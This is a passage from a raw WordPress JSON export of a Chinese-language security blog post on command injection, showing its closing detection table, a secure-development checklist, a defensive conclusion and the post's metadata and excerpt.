| \u6d41\u91cf\u68c0\u6d4b | \u68c0\u6d4b\u5f02\u5e38\u7cfb\u7edf\u547d\u4ee4\u8c03\u7528 |<\/p>\n

| \u4e3b\u673a\u68c0\u6d4b | \u76d1\u63a7\u5f02\u5e38\u8fdb\u7a0b\u521b\u5efa |<\/p>\n

\n

9.2 \u5b89\u5168\u5f00\u53d1Checklist<\/span><\/h3>\n

– [ ] \u907f\u514d\u4f7f\u7528\u7cfb\u7edf\u547d\u4ee4：\u4f18\u5148\u4f7f\u7528\u8bed\u8a00\u5185\u7f6e\u51fd\u6570<\/p>\n

– [ ] \u4e25\u683c\u8f93\u5165\u8fc7\u6ee4：\u4f7f\u7528\u767d\u540d\u5355\u9650\u5236\u53ef\u8f93\u5165\u5185\u5bb9<\/p>\n

– [ ] \u53c2\u6570\u8f6c\u4e49：\u4f7f\u7528`escapeshellarg()`\u7b49\u51fd\u6570<\/p>\n

– [ ] \u6700\u5c0f\u6743\u9650：Web\u670d\u52a1\u4f7f\u7528\u4f4e\u6743\u9650\u8d26\u6237<\/p>\n

– [ ] \u547d\u4ee4\u76d1\u63a7：\u8bb0\u5f55\u6240\u6709\u547d\u4ee4\u6267\u884c\u65e5\u5fd7<\/p>\n

– [ ] \u4f7f\u7528\u6c99\u7bb1：\u9694\u79bb\u547d\u4ee4\u6267\u884c\u73af\u5883<\/p>\n

– [ ] WAF\u9632\u62a4：\u90e8\u7f72Web\u5e94\u7528\u9632\u706b\u5899<\/p>\n

\u00a0\u7ed3\u8bed<\/span><\/h2>\n

\u547d\u4ee4\u6ce8\u5165\u662fWeb\u5b89\u5168\u9886\u57df\u6700\u76f4\u63a5\u7684GetShell\u65b9\u5f0f\u4e4b\u4e00\u3002\u5b83\u7684\u5371\u5bb3\u5728\u4e8e：\u4e00\u65e6\u6210\u529f，\u653b\u51fb\u8005\u77ac\u95f4\u83b7\u5f97\u670d\u52a1\u5668\u63a7\u5236\u6743，\u53ef\u4ee5\u6267\u884c\u4efb\u610f\u64cd\u4f5c，\u5305\u62ec\u6570\u636e\u7a83\u53d6\u3001\u52d2\u7d22\u8f6f\u4ef6\u90e8\u7f72\u3001\u5185\u7f51\u6a2a\u5411\u79fb\u52a8\u7b49\u3002<\/p>\n

\n

\u9632\u5fa1\u547d\u4ee4\u6ce8\u5165\u7684\u6838\u5fc3\u539f\u5219：<\/p>\n

– \u80fd\u4e0d\u7528\u7cfb\u7edf\u547d\u4ee4\u5c31\u4e0d\u7528<\/p>\n

– \u5fc5\u987b\u7528\u5219\u767d\u540d\u5355\u4f18\u5148<\/p>\n

– \u8f93\u5165\u8fc7\u6ee4+\u53c2\u6570\u8f6c\u4e49\u53cc\u4fdd\u9669<\/p>\n

– \u6700\u5c0f\u6743\u9650+\u6c99\u7bb1\u9694\u79bb<\/p>\n

\u638c\u63e1\u547d\u4ee4\u6ce8\u5165，\u4f60\u4e0d\u4ec5\u80fd\u5728\u6e17\u900f\u6d4b\u8bd5\u4e2d\u5feb\u901f\u83b7\u53d6\u670d\u52a1\u5668\u6743\u9650，\u66f4\u80fd\u5728\u5f00\u53d1\u5de5\u4f5c\u4e2d\u6784\u5efa\u8d77\u575a\u56fa\u7684\u547d\u4ee4\u6267\u884c\u9632\u7ebf\u3002\u6bcf\u4e00\u884c\u7cfb\u7edf\u8c03\u7528\u90fd\u53ef\u80fd\u662f\u653b\u51fb\u8005\u7684\u8df3\u677f，\u5b89\u5168\u9700\u8981\u8d2f\u7a7f\u4ee3\u7801\u7684\u6bcf\u4e00\u4e2a\u89d2\u843d\u3002<\/p>\n

\n","protected":false},"excerpt":{"rendered":"

\u524d\u8a00\u5728Web\u5b89\u5168\u9886\u57df，\u5982\u679c\u8bf4\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e\u9700\u8981\u201c\u7ed5\u8fc7\u591a\u9053\u5173\u5361\u201d\u624d\u80fdGetShell，\u90a3\u4e48\u547d\u4ee4\u6ce8\u5165（Command Injection）\u5c31\u662f\u4e00\u6761\u76f4\u8fbe\u670d\u52a1\u5668\u63a7\u5236\u6743\u7684\u9ad8\u901f\u516c\u8def\u3002\u653b\u51fb\u8005\u901a\u8fc7\u5c06\u6076\u610f\u7cfb\u7edf\u547d\u4ee4\u62fc\u63a5\u5230\u670d\u52a1\u5668\u6267\u884c\u7684\u547d\u4ee4\u4e2d，\u53ef\u4ee5\u76f4\u63a5\u5728\u76ee\u6807\u670d\u52a1\u5668\u4e0a\u6267\u884c\u4efb\u610f\u64cd\u4f5c\u7cfb\u7edf\u547d\u4ee4，\u5b9e\u73b0\u77ac\u95f4\u6ca6\u9677\u3002\u672c\u6587\u5c06\u7cfb\u7edf\u68b3\u7406\u547d\u4ee4\u6ce8\u5165\u7684\u539f\u7406\u3001\u5229\u7528\u624b\u6cd5\u3001\u7ed5\u8fc7\u6280\u5de7\u4ee5\u53ca\u9632\u5fa1\u65b9\u6848，\u5e2e\u52a9\u4f60\u638c\u63e1\u4ece\u6ce8\u5165\u5230\u670d\u52a1\u5668\u63a7\u5236\u7684\u5b8c\u6574\u653b\u51fb\u94fe\u30021<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[9389,275,1800,122],"topic":[],"class_list":["post-83754","post","type-post","status-publish","format-standard","hentry","category-server","tag-9389","tag-web","tag-1800","tag-122"],"yoast_head":"\n\u3010\u7f51\u7edc\u5b89\u5168\u3011\u547d\u4ee4\u6ce8\u5165\uff1a\u4ece\u539f\u7406\u5230\u670d\u52a1\u5668\u6ca6\u9677\u5b9e\u6218 - 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